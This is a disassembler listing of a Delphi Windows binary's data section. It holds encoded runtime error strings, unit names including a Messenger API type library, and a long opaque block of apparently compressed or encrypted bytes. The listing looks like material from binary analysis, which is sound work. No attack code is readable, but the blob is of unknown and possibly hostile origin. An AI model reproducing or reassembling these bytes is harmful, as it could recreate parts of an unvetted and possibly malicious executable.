		dd 69006Ch, 610063h, 650074h, 200073h, 240028h,	250030h
		dd 290078h, 49001Ah, 76006Eh, 6C0061h, 640069h,	640020h
		dd 740061h, 200061h, 790074h, 650070h, 660020h,	72006Fh
		dd 270020h, 730025h, 200027h, 69004Ch, 740073h,	630020h
		dd 700061h, 630061h, 740069h, 200079h, 75006Fh,	200074h
		dd 66006Fh, 620020h, 75006Fh, 64006Eh, 200073h,	250028h
		dd 290064h, 4C001Dh, 730069h, 200074h, 6F0063h,	6E0075h
		dd 200074h, 75006Fh, 200074h, 66006Fh, 620020h,	75006Fh
		dd 64006Eh, 200073h, 250028h, 290064h, 4C001Dh,	730069h
		dd 200074h, 6E0069h, 650064h, 200078h, 75006Fh,	200074h
		dd 66006Fh, 620020h, 75006Fh, 64006Eh, 200073h,	250028h
		dd 290064h, 4A0007h, 6E0061h, 610075h, 790072h,	460008h
		dd 620065h, 750072h, 720061h, 50079h, 61004Dh, 630072h
		dd 50068h, 700041h, 690072h, 3006Ch, 61004Dh, 40079h, 75004Ah
		dd 65006Eh, 4A0004h, 6C0075h, 60079h, 750041h, 750067h
		dd 740073h, 530009h, 700065h, 650074h, 62006Dh,	720065h
		dd 4F0007h, 740063h, 62006Fh, 720065h, 4E0008h,	76006Fh
		dd 6D0065h, 650062h, 80072h, 650044h, 650063h, 62006Dh
		dd 720065h, 530003h, 6E0075h, 4D0003h, 6E006Fh,	540003h
		dd 650075h, 570003h, 640065h, 41000Eh, 730062h,	720074h
		dd 630061h, 200074h, 720045h, 6F0072h, 3F0072h,	630041h
		dd 650063h, 730073h, 760020h, 6F0069h, 61006Ch,	690074h
		dd 6E006Fh, 610020h, 200074h, 640061h, 720064h,	730065h
		dd 200073h, 700025h, 690020h, 20006Eh, 6F006Dh,	750064h
		dd 65006Ch, 270020h, 730025h, 2E0027h, 250020h,	200073h
		dd 66006Fh, 610020h, 640064h, 650072h, 730073h,	250020h
		dd 1C0070h, 790053h, 740073h, 6D0065h, 450020h,	720072h
		dd 72006Fh, 20002Eh, 430020h, 64006Fh, 3A0065h,	250020h
		dd 2E0064h, 0A000Dh, 730025h, 41001Fh, 630020h,	6C0061h
		dd 20006Ch, 6F0074h, 610020h, 20006Eh, 53004Fh,	660020h
		dd 6E0075h, 740063h, 6F0069h, 20006Eh, 610066h,	6C0069h
		dd 640065h, 4A0003h, 6E0061h, 460003h, 620065h,	4D0003h
		dd 720061h, 410003h, 720070h, 4D0003h, 790061h,	4A0003h
		dd 6E0075h, 4A0003h, 6C0075h, 410003h, 670075h,	530003h
		dd 700065h, 4F0003h, 740063h, 4E0003h, 76006Fh,	440003h
		dd 630065h, 56001Fh, 720061h, 610069h, 74006Eh,	6F0020h
		dd 200072h, 610073h, 650066h, 610020h, 720072h,	790061h
		dd 690020h, 200073h, 6F006Ch, 6B0063h, 640065h,	49001Fh
		dd 76006Eh, 6C0061h, 640069h, 760020h, 720061h,	610069h
		dd 74006Eh, 740020h, 700079h, 200065h, 6F0063h,	76006Eh
		dd 720065h, 690073h, 6E006Fh, 490019h, 76006Eh,	6C0061h
		dd 640069h, 760020h, 720061h, 610069h, 74006Eh,	6F0020h
		dd 650070h, 610072h, 690074h, 6E006Fh, 490025h,	76006Eh
		dd 6C0061h, 640069h, 760020h, 720061h, 610069h,	74006Eh
		dd 6F0020h, 650070h, 610072h, 690074h, 6E006Fh,	280020h
		dd 730025h, 2E0025h, 780038h, 0A0029h, 730025h,	430035h
		dd 75006Fh, 64006Ch, 6E0020h, 74006Fh, 630020h,	6E006Fh
		dd 650076h, 740072h, 760020h, 720061h, 610069h,	74006Eh
		dd 6F0020h, 200066h, 790074h, 650070h, 280020h,	730025h
		dd 200029h, 6E0069h, 6F0074h, 740020h, 700079h,	200065h
		dd 250028h, 290073h, 4F003Dh, 650076h, 660072h,	6F006Ch
		dd 200077h, 680077h, 6C0069h, 200065h, 6F0063h,	76006Eh
		dd 720065h, 690074h, 67006Eh, 760020h, 720061h,	610069h
		dd 74006Eh, 6F0020h, 200066h, 790074h, 650070h,	280020h
		dd 730025h, 200029h, 6E0069h, 6F0074h, 740020h,	700079h
		dd 200065h, 250028h, 290073h, 560010h, 720061h,	610069h
		dd 74006Eh, 6F0020h, 650076h, 660072h, 6F006Ch,	100077h
		dd 6E0049h, 610076h, 69006Ch, 200064h, 720061h,	750067h
		dd 65006Dh, 74006Eh, 490014h, 76006Eh, 6C0061h,	640069h
		dd 760020h, 720061h, 610069h, 74006Eh, 740020h,	700079h
		dd 170065h, 70004Fh, 720065h, 740061h, 6F0069h,	20006Eh
		dd 6F006Eh, 200074h, 750073h, 700070h, 72006Fh,	650074h
		dd 180064h, 6E0055h, 780065h, 650070h, 740063h,	640065h
		dd 760020h, 720061h, 610069h, 74006Eh, 650020h,	720072h
		dd 72006Fh, 450015h, 740078h, 720065h, 61006Eh,	20006Ch
		dd 780065h, 650063h, 740070h, 6F0069h, 20006Eh,	780025h
		dd 410010h, 730073h, 720065h, 690074h, 6E006Fh,	660020h
		dd 690061h, 65006Ch, 170064h, 6E0049h, 650074h,	660072h
		dd 630061h, 200065h, 6F006Eh, 200074h, 750073h,	700070h
		dd 72006Fh, 650074h, 1C0064h, 780045h, 650063h,	740070h
		dd 6F0069h, 20006Eh, 6E0069h, 730020h, 660061h,	630065h
		dd 6C0061h, 20006Ch, 65006Dh, 680074h, 64006Fh,	250010h
		dd 200073h, 250028h, 2C0073h, 6C0020h, 6E0069h,	200065h
		dd 640025h, 29h, 490019h, 76006Eh, 6C0061h, 640069h, 700020h
		dd 69006Fh, 74006Eh, 720065h, 6F0020h, 650070h,	610072h
		dd 690074h, 6E006Fh, 490016h, 76006Eh, 6C0061h,	640069h
		dd 630020h, 61006Ch, 730073h, 740020h, 700079h,	630065h
		dd 730061h, 300074h, 630041h, 650063h, 730073h,	760020h
		dd 6F0069h, 61006Ch, 690074h, 6E006Fh, 610020h,	200074h
		dd 640061h, 720064h, 730065h, 200073h, 700025h,	20002Eh
		dd 730025h, 6F0020h, 200066h, 640061h, 720064h,	730065h
		dd 200073h, 700025h, 410010h, 630063h, 730065h,	200073h
		dd 690076h, 6C006Fh, 740061h, 6F0069h, 0E006Eh,	740053h
		dd 630061h, 20006Bh, 76006Fh, 720065h, 6C0066h,	77006Fh
		dd 43000Dh, 6E006Fh, 720074h, 6C006Fh, 43002Dh,	680020h
		dd 740069h, 500016h, 690072h, 690076h, 65006Ch,	650067h
		dd 200064h, 6E0069h, 740073h, 750072h, 740063h,	6F0069h
		dd 28006Eh, 780045h, 650063h, 740070h, 6F0069h,	20006Eh
		dd 730025h, 690020h, 20006Eh, 6F006Dh, 750064h,	65006Ch
		dd 250020h, 200073h, 740061h, 250020h, 2E0070h,	0A000Dh
		dd 2 dup(730025h), 0A000Dh, 410011h, 700070h, 69006Ch
		dd 610063h, 690074h, 6E006Fh, 450020h, 720072h,	72006Fh
		dd 460031h, 72006Fh, 61006Dh, 200074h, 250027h,	270073h
		dd 690020h, 76006Eh, 6C0061h, 640069h, 6F0020h,	200072h
		dd 6E0069h, 6F0063h, 70006Dh, 740061h, 620069h,	65006Ch
		dd 770020h, 740069h, 200068h, 720061h, 750067h,	65006Dh
		dd 74006Eh, 4E001Bh, 20006Fh, 720061h, 750067h,	65006Dh
		dd 74006Eh, 660020h, 72006Fh, 660020h, 72006Fh,	61006Dh
		dd 200074h, 250027h, 270073h, 560022h, 720061h,	610069h
		dd 74006Eh, 6D0020h, 740065h, 6F0068h, 200064h,	610063h
		dd 6C006Ch, 200073h, 6F006Eh, 200074h, 750073h,	700070h
		dd 72006Fh, 650074h, 40064h, 650052h, 640061h, 570005h
		dd 690072h, 650074h, 450024h, 720072h, 72006Fh,	630020h
		dd 650072h, 740061h, 6E0069h, 200067h, 610076h,	690072h
		dd 6E0061h, 200074h, 72006Fh, 730020h, 660061h,	200065h
		dd 720061h, 610072h, 290079h, 610056h, 690072h,	6E0061h
		dd 200074h, 72006Fh, 730020h, 660061h, 200065h,	720061h
		dd 610072h, 200079h, 6E0069h, 650064h, 200078h,	75006Fh
		dd 200074h, 66006Fh, 620020h, 75006Fh, 64006Eh,	73h, 4F000Dh
		dd 740075h, 6F0020h, 200066h, 65006Dh, 6F006Dh,	790072h
		dd 49000Ch, 4F002Fh, 650020h, 720072h, 72006Fh,	250020h
		dd 0E0064h, 690046h, 65006Ch, 6E0020h, 74006Fh,	660020h
		dd 75006Fh, 64006Eh, 490010h, 76006Eh, 6C0061h,	640069h
		dd 660020h, 6C0069h, 6E0065h, 6D0061h, 130065h,	6F0054h
		dd 20006Fh, 61006Dh, 79006Eh, 6F0020h, 650070h,	20006Eh
		dd 690066h, 65006Ch, 120073h, 690046h, 65006Ch,	610020h
		dd 630063h, 730065h, 200073h, 650064h, 69006Eh,	640065h
		dd 520017h, 610065h, 200064h, 650062h, 6F0079h,	64006Eh
		dd 650020h, 64006Eh, 6F0020h, 200066h, 690066h,	65006Ch
		dd 440009h, 730069h, 20006Bh, 750066h, 6C006Ch,	490015h
		dd 76006Eh, 6C0061h, 640069h, 6E0020h, 6D0075h,	720065h
		dd 630069h, 690020h, 70006Eh, 740075h, 440010h,	760069h
		dd 730069h, 6F0069h, 20006Eh, 790062h, 7A0020h,	720065h
		dd 11006Fh, 610052h, 67006Eh, 200065h, 680063h,	630065h
		dd 20006Bh, 720065h, 6F0072h, 100072h, 6E0049h,	650074h
		dd 650067h, 200072h, 76006Fh, 720065h, 6C0066h,	77006Fh
		dd 490020h, 76006Eh, 6C0061h, 640069h, 660020h,	6F006Ch
		dd 740061h, 6E0069h, 200067h, 6F0070h, 6E0069h,	200074h
		dd 70006Fh, 720065h, 740061h, 6F0069h, 1F006Eh,	6C0046h
		dd 61006Fh, 690074h, 67006Eh, 700020h, 69006Fh,	74006Eh
		dd 640020h, 760069h, 730069h, 6F0069h, 20006Eh,	790062h
		dd 7A0020h, 720065h, 17006Fh, 6C0046h, 61006Fh,	690074h
		dd 67006Eh, 700020h, 69006Fh, 74006Eh, 6F0020h,	650076h
		dd 660072h, 6F006Ch, 180077h, 6C0046h, 61006Fh,	690074h
		dd 67006Eh, 700020h, 69006Fh, 74006Eh, 750020h,	64006Eh
		dd 720065h, 6C0066h, 77006Fh, 384F3D26h, 0B83782C2h, 34224F3h
		dd 833A9B17h, 0CC100001h, 0
		db  1Bh
		align 10h
		db    1
aDstub		db 'dStub',0
		db 10h
aFcomobj	db 'FComObj',0
		db  10h
aQcomconst	db 'qComConst',0
		align 4
aBsysinit	db 'SysInit',0
		align 2
aSystem		db 'ÇSystem',0
		dw 210h
aSysutils	db 'SysUtils',0
		db 10h,	0B4h, 49h
aMagehlp	db 'mageHlp',0
		db  0Ch
aKwindows	db 'KWindows',0
		dw 5510h
aTypes		db 'Types',0
		dw 9D10h
aSysconst	db 'SysConst',0
		db 10h,	73h, 41h
aCtivex		db 'ctiveX',0
		db 0Ch
a3messages	db '3Messages',0
		dw 4310h
aVariants	db 'Variants',0
		db 10h,	24h, 56h
aArutils	db 'arUtils',0
		db  10h
		db 2Bh,	47h, 72h
aAphics		db 'aphics',0
		db 10h
		db 0C7h	; Ç
aConsts		db 'Consts',0
		db    0
a8registry	db '8Registry',0
		db 10h
		db  22h	; "
aRtlconsts	db 'RTLConsts',0
		db 10h
		db 0DDh	; Ý
aInifiles	db 'IniFiles',0
		dw 5E10h
aClasses_0	db 'Classes',0
		db  10h
aQtypinfo	db 'QTypInfo',0
		dw 0D500h
aRetcompress	db 'retCompress',0
		db    0
aCmessengerapi_	db 'cMessengerAPI_TLB',0
		db 10h
		dd 647453ECh, 4C4356h, 68532A0Ch, 416C6C65h, 4950h, 3443526Bh
		dd 50B80000h, 78h
dword_4002B378	dd 3E1C1203h, 23353B5h,	6E0525BBh, 387A0825h, 2E557A0Bh
					; DATA XREF: .bss:off_4001F6E4o
		dd 5F51B43Fh, 0B44D21B2h, 2A121022h, 76253875h,	18210338h
		dd 77C97F1Bh, 26212010h, 0D29035Fh, 0F208299Ah,	43A6942Ch
		dd 0CB78BEBFh, 0D06CC8C9h, 0C5B53AC1h, 0F41F1570h, 0AA5C1E1Ch
		dd 2723B1AFh, 0AEAD7635h, 7D2E2ABDh, 0AC0BEB45h, 696832D0h
		dd 207237D8h, 0D53A7A89h, 193F3D61h, 56C8341Dh,	0B5A87620h
		dd 0A1AC0625h, 9420628h, 7D6C2C4Ch, 1C318860h, 0CAA2D0C9h
		dd 141639C7h, 0AB0DBD0Fh, 0B12E8628h, 0EB12942Ch, 0C216EB10h
		dd 2A1DD413h, 1B29192Ah, 7D70527h, 2D01DEh, 0C6C0E28h
		dd 8920ABBh, 2BE32D89h,	1611281Bh, 12411415h, 1E9810ADh
		dd 1ACF1CFBh, 95918C7h,	0D970B42h, 18F0F87h, 0FFBF2B01h
		dd 0B5F36D5Fh, 0DFE1420Dh, 148D2271h, 1627B24Dh, 7E2A2A6Dh
		dd 907BCCC5h, 0F0B0CDCFh, 0B0173725h, 0D47FB939h, 55ED3EF6h
		dd 0CA1EB769h, 73235470h, 7C4CA574h, 152A0729h,	42241ACh
		dd 1C325DB0h, 955CB57Ch, 0C85E1D5Ch, 5B2B4909h,	4E1C3C2Fh
		dd 2BC9712Fh, 664214EBh, 0BCC13E11h, 1E6A8CF0h,	358A9A29h
		dd 7077B0B8h, 3B213928h, 3F287D6Ch, 111CEB07h, 22401F0Eh
		dd 37CF7370h, 6DE920C7h, 2C1CF67Bh, 62311E3Eh, 0B11EA33Bh
		dd 2B0DBC60h, 9D1B5A66h, 0CA10FFF4h, 21951E75h,	97F52E60h
		dd 0C84FF029h, 6CD12B7Ah, 520F2EFEh, 90346031h,	273B0913h
		dd 362BFB33h, 1B93BA32h, 6F025F1Fh, 73311127h, 590621CCh
		dd 2EED3AE8h, 2F2F0C9Dh, 3A939034h, 49487471h, 0F4B1692Dh
		dd 3A4E339Fh, 0BD0D5EF3h, 4220C011h, 0CE0D202Dh, 2BCB2ABEh
		dd 2D2CCF7Fh, 0D1B91AC7h, 24515832h, 5238F84Fh,	9F521EBBh
		dd 29F4D421h, 0E1A50B1Eh, 3B8956B8h, 892C4772h,	8B287B34h
		dd 1C704630h, 0D163121h, 0D12D3632h, 0B0319BF8h, 192A1DB0h
		dd 1CF70A1Ch, 0DBAD5AF0h, 29231127h, 0A89EC23Ah, 0CE9A2E9Bh
		dd 0F9BDBFCEh, 3837A802h, 187FFC38h, 0FD72C2Dh,	9F1FAE81h
		dd 32A224B3h, 892C3FCCh, 2E2F6929h, 8CC63D6Ch, 1B167DB9h
		dd 135ABC52h, 3E4F1338h, 171A79FAh, 0E19E5469h,	0B21B256h
		dd 0E361441h, 3E497A0Dh, 0F6394D9Bh, 0EF0A3D1Fh, 997E416Fh
		dd 0AAB6A9ACh, 408C1432h, 4D5887FEh, 0AEF48FAEh, 0E67DAF61h
		dd 0B9692037h, 0A6245E2Ch, 310F5F11h, 0A480C44h, 6B008B4h
		dd 0A903B53Ah, 0BC24A501h, 1FB91E22h, 1B911D8Dh, 9627199Dh
		dd 0E614EE16h, 3010FE12h, 0BEF0DE7h, 7DF09D7h, 0C804D499h
		dd 917FC402h, 1F945D6Ch, 13262134h, 19C71E43h, 2FEAE00Ah
		dd 302C4524h, 0D727CE62h, 363475EEh, 1B1EBDB3h,	0B7B5303Ch
		dd 1E01388Fh, 32E5A319h, 268D8A23h, 3C297826h, 7F222C27h
		dd 33100F2Fh, 0DE656634h, 0BBD63825h, 43F39FFh,	4BB83BFCh
		dd 0A0C8EE95h, 5324D720h, 0A0683B60h, 47A9EB5Dh, 7753EF2Fh
		dd 0BC646133h, 1D381342h, 1D187FFDh, 0C183F3Fh,	83BAA94h
		dd 0A0E425E1h, 0A8036801h, 0EC2F2A28h, 0B2253628h, 34332E30h
		dd 0B822C931h, 3C3A38E5h, 6F3EC6BEh, 41DE2E16h,	62E6A034h
		dd 4AA7E633h, 242A2628h, 202E222Ch, 333DCE30h, 3739353Bh
		dd 3B353937h, 3F313D33h, 11E21C14h, 2D212F1Fh, 29252B23h
		dd 25292727h, 0D12D232Bh, 323E3020h, 363A343Ch,	3A363838h
		dd 3E323C34h, 121C14C0h, 2E20101Eh, 2A242C22h, 0E7A32425h
		dd 25ADEFA1h, 5931456Eh, 95023232h, 3B3C5D28h, 0F9387B6Ah
		dd 0F41F3C3Eh, 32BF0213h, 25E32661h, 2D2426E9h,	882CCA68h
		dd 332FBE09h, 0E323716h, 0CF585664h, 1A7222D9h,	8DD73B7Dh
		dd 6FBCD436h, 2707E055h, 0E7A37628h, 3DAA5D7Fh,	2E2E15AFh
		dd 6CB22044h, 0B7892530h, 64FDB234h, 647E0CB5h,	277DF45h
		dd 5E712075h, 7625FEA9h, 0AF05A8D7h, 3F2E59DDh,	23393C2Dh
		dd 0F1633533h, 3A593471h, 2E7BFB3Fh, 5A1D193Eh,	0DC253F38h
		dd 1B381D2Dh, 1661191Bh, 12BF14A6h, 0E84108Dh, 0AEF0CFFh
		dd 6C008D2h, 3CCC3A3Ah,	1D1F3E3Eh, 10181C1Dh, 1439122Fh
		dd 18511665h, 1CBD1AA1h, 0EB1E92h, 50702E2h, 9540773h
		dd 0DAE0B41h, 2AF80F97h, 2D0E2CC0h, 31EAA927h, 0A29BCDACh
		dd 0FA60DEFh, 3A0AEE90h, 72180975h, 267C4925h, 8E52D12Ch
		dd 0F38619F9h, 0C9D693Fh, 0A56E04DFh, 0E4C9B21Bh, 0F4116D03h
		dd 3645766Bh, 7460A86Eh, 2ADD2120h, 76D12B72h, 7CFC1528h
		dd 5989142Ch, 44A9055Dh, 60A4E4D2h, 0C12C27DAh,	0ED6C4229h
		dd 6EC4622Eh, 38BD576Ch, 623C3736h, 0FE61DEB1h,	0B2577E86h
		dd 0BE3DD95Dh, 0A4A0CAE0h, 61CFA7h, 27F83BE9h, 0F04856C5h
		dd 0E2702536h, 6E003632h, 0BC2F2551h, 5D1BB321h, 1F2E3D38h
		dd 1B221104h, 1733DA24h, 0A02B2BF4h, 0D4ADA5F4h, 23A8B1CFh
		dd 34062E41h, 3B17F9B8h, 5E6553Eh, 4F5D1AABh, 0F9D135E0h
		dd 2E7A9421h, 2E00C127h, 0FC1E2E2Bh, 66B89079h,	56531417h
		dd 31C91826h, 1A3D8C2Eh, 1D13E43Fh, 212F1F11h, 252B232Dh
		dd 29272729h, 22D32B25h, 3E30202Eh, 3A343C32h, 36383836h
		dd 0C23C343Ah, 1C143F31h, 20101E12h, 242C222Eh,	2828262Ah
		dd 232B25D6h, 3F2F212Dh, 3B333D31h, 37373935h, 3C343539h
		dd 0F87A93DBh, 2EB3F71Dh, 0C32041BBh, 42670389h, 0BC3E0AC9h
		dd 367467FCh, 73947BF2h, 737CF10Bh, 226A73FAh, 71BA77F9h
		dd 5A3D1118h, 6756C839h, 0C47125A2h, 40C17A8Ah,	5F692DAAh
		dd 0DA617AEDh, 5434B56Eh, 6A3C3821h, 0D723FDB8h, 2D199A0Ch
		dd 0CA8C1A7Ch, 240691C5h, 2F2F2920h, 72A2A29h, 8A362D46h
		dd 0B5EA3525h, 74988F02h, 93AA3F98h, 761F3E3Ah,	69153A87h
		dd 677CCB65h, 0BAE6A724h, 797AB249h, 0B0F42FA8h, 35B67130h
		dd 0DA1B711h, 3EA8D311h, 263E7E12h, 5A96DFF5h, 59CB7721h
		dd 86C0C159h, 0AE469F15h, 71138C2Dh, 0E9330B5h,	5A37B064h
		dd 9E78049Ah, 0B039F3Dh, 23BF1DBEh, 2384FB39h, 0F33D3AF1h
		dd 2037FA27h, 30FF2CFEh, 0E64DCC43h, 0D82BE633h, 90CA377Fh
		dd 81CC3FFDh, 36C9A2Bh,	0ACE1940Eh, 52E2259h, 0CC0EA16h
		dd 0DD298BFAh, 716DA62Fh, 0BC753232h, 89A337Bh,	3C7CC42Bh
		dd 19DA321Dh, 2E300526h, 0F0D222Eh, 59242845h, 7C2E9A08h
		dd 0BB2B78A6h, 0A1A31137h, 0F0E4C661h, 35FF4230h, 130E3C2Eh
		dd 0A1EFDADh, 36422D4Ah, 666A3B65h, 0CBCD4B36h,	1FEAAE09h
		dd 69333B74h, 29746037h, 0A52470FFh, 7B183775h,	7EB01211h
		dd 3641300Ch, 0A71939A2h, 236BB53Ah, 27690C41h,	8B387028h
		dd 0DE650BF3h, 3BF839D1h, 0FFBE2D75h, 2D914A15h, 0F6C82050h
		dd 20A522E3h, 0C12C7533h, 0A72D4BE1h, 0F73C0B6Ah, 342BD2BBh
		dd 672656BEh, 6AFF33F8h, 130C2011h, 4033FF1Dh, 0A428C0Fh
		dd 9C379E75h, 0AE292A30h, 492EC603h, 74103031h,	78441573h
		dd 1F4B555Ah, 1BFF3C3Dh, 766A1D6Eh, 4D460F11h, 40221757h
		dd 2D244B47h, 4B4F4C5Fh, 4363138h, 565E2E56h, 0B22B5551h
		dd 0DEEA383Fh, 213360FBh, 4777005Eh, 0E640475Bh, 3A474700h
		dd 272D6C6Bh, 7AC823Ah,	0C96001D2h, 0D3D09E1h, 38DD05DBh
		dd 3D2322EDh, 3164FF19h, 0F3DB3373h, 3A1A3AAEh,	253BC075h
		dd 9437FF46h, 0BE39D808h, 351C1B5Ah, 4CC38ECh, 41A8AFAEh
		dd 63DFEC2Eh, 0C4E7A3C1h, 0A71EC525h, 2F2B2535h, 84268121h
		dd 39555BD3h, 283D6696h, 4F7A320Fh, 0A79B775h, 91971308h
		dd 0A0202CE0h, 58A92FE5h
		dd 0C7A9E5E4h, 67723D38h, 132376BBh, 77C9B154h,	0EA3BB616h
		dd 30F7B83Eh, 1D1DED9Fh, 0AF74731Fh, 7673317Ch,	19E208ACh
		dd 0A3D2D170h, 62113461h, 475D8D62h, 0AFD1A437h, 2E3D6539h
		dd 5191E4F0h, 0A820173Ah, 0CD64075Eh, 9FD5713Ch, 0AC02AAD5h
		dd 1FBB2806h, 0B4601EB2h, 0D16A3F1Bh, 3C16B1BFh, 9EF33C3Eh
		dd 70341EBCh, 741164ACh, 17810D21h, 0B86BD5D7h,	0B520ED1Dh
		dd 0B5BC3295h, 7213623Fh, 8024BF79h, 0F9C136FEh, 4AE61C9Ch
		dd 0E3A2A6A1h, 3426722Ch, 702EC6Ch, 0B8C67D04h,	0F3903833h
		dd 0FF50F1Ch, 0BB67BD37h, 7F4E7E34h, 1AF56845h,	84A0F480h
		dd 69A86057h, 76BF2425h, 662D2008h, 3792492h, 8009D7A0h
		dd 0DF693A88h, 3F9F9307h, 9CBE27DBh, 1DC7721Fh,	0C325E1B0h
		dd 28EAA51Ah, 0B65E17CCh, 12D32EEEh, 0CA0ECCB6h, 0EA932A0Ch
		dd 0AF4D9F2Ch, 8BE429FDh, 82F008D4h, 32E74F20h,	2B25E429h
		dd 0C4FEA1Ah, 481F6E2Eh, 7410173Dh, 31DC323Dh, 7CB618D9h
		dd 0B7FB541h, 1CCE9620h, 20E821A0h, 0AC5E256Ch,	0F1A10969h
		dd 33AE742Fh, 0C501CE03h, 35766263h, 0BA2A3538h, 4C5B3745h
		dd 6B5C1C68h, 0A312AB1Dh, 13CD7273h, 7AE90A17h,	993FFA75h
		dd 323E2300h, 195D5452h, 91551A5Bh, 5695A1DBh, 71375427h
		dd 0CB4C3D02h, 0A0374A2h, 728284Ah, 5B71A46h, 82C1E242h
		dd 591E5F1Dh, 5517A959h, 12B43081h, 703C3E52h, 7C49957Dh
		dd 2A230519h, 4AA6A6E5h, 4EEAA783h, 582F2C2Dh, 3633CDCEh
		dd 18C86065h, 1887BAEAh, 343CFE7Ch, 0DD4F1F69h,	0A8202145h
		dd 273E0170h, 365FE313h, 3B0A61A7h, 0F1A6BC74h,	9BBF653Ah
		dd 333A2178h, 0FFB2B43Eh, 4C1F1C72h, 322151B4h,	26515467h
		dd 0AC295C5Ch, 0BF472C5Fh, 46AD305Bh, 36459333h, 60691F12h
		dd 8521DA25h, 1C498147h, 9121573Eh, 65256677h, 6CC8266Eh
		dd 2C644B2Bh, 342F413Eh, 0E5357621h, 3878773Dh,	2E6C2A6Bh
		dd 78C43F4Eh, 0C8D0954Dh, 4983037Fh, 2F456DE5h,	6D91B028h
		dd 0C0AB4628h, 7A26B304h, 0D8ACDE5Ch, 0B2B17E70h, 8DB51B1Dh
		dd 4E621D8Fh, 0CB757330h, 0A42205DFh, 676331ECh, 6FDEEF22h
		dd 7231E83Eh, 0F723C83Ah, 351E4930h, 30301F4Eh,	9D17CD13h
		dd 69B03CDBh, 0D9974C0Bh, 8BC12A46h, 4D7D3CCAh,	733712Bh
		dd 0F63A5D02h, 40987437h, 69683E8Fh, 5D2190B7h,	0DE761FEEh
		dd 0BD2403F5h, 0D8140AADh, 7D6CBB33h, 0A7310F44h, 943513E7h
		dd 39FB6642h, 3EAD0EB1h, 3FCFF039h, 0F27D0B07h,	6DD76C1h
		dd 37C4F706h, 0CED2AB2Bh, 9ECF582Ah, 62D13B57h,	0CC5F5094h
		dd 0BC3DFA05h, 71C7FEEh, 73BE6191h, 24C22781h, 5AD8BD6h
		dd 0DC8A686Bh, 304F64FDh, 63726361h, 37AAF4DCh,	2153393Ah
		dd 60FD345Bh, 0DD514745h, 9211C175h, 66E08029h,	2BB9D026h
		dd 0EF96F65Fh, 92F2BB07h, 2AC1B732h, 5BA18B6h, 0CC2A49C4h
		dd 193F7C3Fh, 2368012Fh, 69153399h, 17772661h, 0FD300974h
		dd 3E3BB020h, 0C34FFC32h, 0B2601F42h, 1970633Ch, 0D5182F04h
		dd 0A0DF0F4Ch, 1767A27Fh, 32A72DE5h, 2D6D32AFh,	607D1E11h
		dd 0B49224D9h, 1C72361Fh, 0D46A7F39h, 1D3F2F07h, 9F2C774Ah
		dd 0CC1BC936h, 0A4D9DA34h, 6F30A5ECh, 273B3D08h, 3334A137h
		dd 613659F8h, 68ECC638h, 6261EBC3h, 1FAD6045h, 7A1E241Dh
		dd 262A242Ch, 2E01256Fh, 63C7978h, 0C4026723h, 5C639463h
		dd 1AE20A1Fh, 735F1C1Ch, 15C77A9h, 903403AEh, 743C0E29h
		dd 88153926h, 3C160B12h, 19397F7Eh, 452E26CDh, 798D0794h
		dd 0BC48B025h, 5296509Eh, 0E7DCF663h, 86261353h, 1B866016h
		dd 7C0F0E4Dh, 10A718C5h, 0B100B633h, 0D870155h,	0FCBB083Eh
		dd 1FFD6062h, 29281C1Ch, 7120A171h, 25A144CCh, 0B28AA76h
		dd 46A9A76Ch, 3303134h,	0BC37955Eh, 4928C6F0h, 284F503Dh
		dd 0A39581Bh, 0CA71EF94h, 22830932h, 7A63A8C8h,	2BDD9A21h
		dd 0CC31BC8Bh, 36CF5CCCh, 5CECC734h, 9E31FFB1h,	9D329E35h
		dd 2C2ACF9Bh, 787A7C32h, 72BD879Eh, 21C8EFA9h, 2309FEDh
		dd 3A343C32h, 36383836h, 3D33C43Ah, 1C143F31h, 20101E12h
		dd 242C222Eh, 27D8262Ah, 232B2529h, 3F2F212Dh, 3B333D31h
		dd 0C7373935h, 3C343A36h, 1B303E32h, 1F111D13h,	232D212Fh
		dd 28262ADBh, 242A2628h, 202E222Ch, 79407B4Fh, 547C4A2Ch
		dd 71412572h, 75412142h, 1E02A164h, 223E2000h, 229D2423h
		dd 0D0C9082Bh, 2C2D291Dh, 16B568A4h, 7634541Bh,	3A59145Dh
		dd 0AAB69068h, 504D1BDDh, 6921BF4Eh, 54612392h,	29581B26h
		dd 1D7C797Bh, 3E30202Eh, 3A343C32h, 36383836h, 0BA3C343Ah
		dd 73573F3Dh, 649412E3h, 1732E05h, 409E76B5h, 0C4135A58h
		dd 6E063ECBh, 1BFE02F3h, 0E8600C36h, 6B3A3A1Fh,	17D7B26Dh
		dd 4EFFB36Dh, 0E3707028h, 97456B3Ch, 0EA65690Bh, 4E3FA87Bh
		dd 8B333033h, 32F63431h, 3E8FF139h, 3E3BED3Dh, 7E1519C3h
		dd 2A0478BBh, 8824244Bh, 0AA222447h, 383ECD2Bh,	5231D1F4h
		dd 36D4153Eh, 0DB1520F7h, 682FFC3Bh, 7D1CFA08h,	21C4205Ch
		dd 7024C768h, 4A28C373h, 6E2EBF9Ch, 0D16218EAh,	64344232h
		dd 499937C3h, 6F6D0730h, 641F6F6Eh, 605D333Fh, 28AE0F01h
		dd 5061CA0h, 2443EE78h,	0D8E02A3Fh, 0AB3CB24Fh,	0D0360E43h
		dd 0CC168AE3h, 0F36AAE6Eh, 796EBC53h, 74CA7023h, 0C61A54D6h
		dd 2B20292Ah, 43426C2Dh, 7012525Fh, 58455B5Bh, 3BCF2939h
		dd 4D783C1Ch, 1118797Eh, 2121761Eh, 43404870h, 68282857h
		dd 47BF2D91h, 3259645Bh, 363D5099h, 8E390C35h, 5B4E5357h
		dd 1C541F1Eh, 21721DABh, 644D6535h, 0BAA7AD26h,	0A77C282Ah
		dd 31A42DA9h, 0F05C6237h, 3938D6AAh, 0F173D33Bh, 0D898C0C2h
		dd 4816023Fh, 2507065Dh, 2C1C6178h, 262BA3D1h, 0CEFDAC22h
		dd 34CC30CEh, 0BCF17A92h, 1C2DD61Dh, 0E2D73D3Dh, 0D92C1DD9h
		dd 0DDA33130h, 96862576h, 2A2A6D59h, 5BEEA96Ch,	3280593Bh
		dd 2236CA26h, 3A38E190h, 39FD3C8Ch, 131D198Bh, 4ADE4A7Dh
		dd 6525AB2Ch, 8B4D2927h, 2E7D282Bh, 3214B94Bh, 0F2D9B537h
		dd 38393E37h, 1AB9B16Dh, 1D1E1B87h, 2024771Ch, 914CA769h
		dd 0D67A21A7h, 256C7DFDh, 35A336Eh, 377DDB62h, 67EA6830h
		dd 63633F58h, 0D85BA51Ch, 0A3072123h, 74A141ACh, 0CBBAD76h
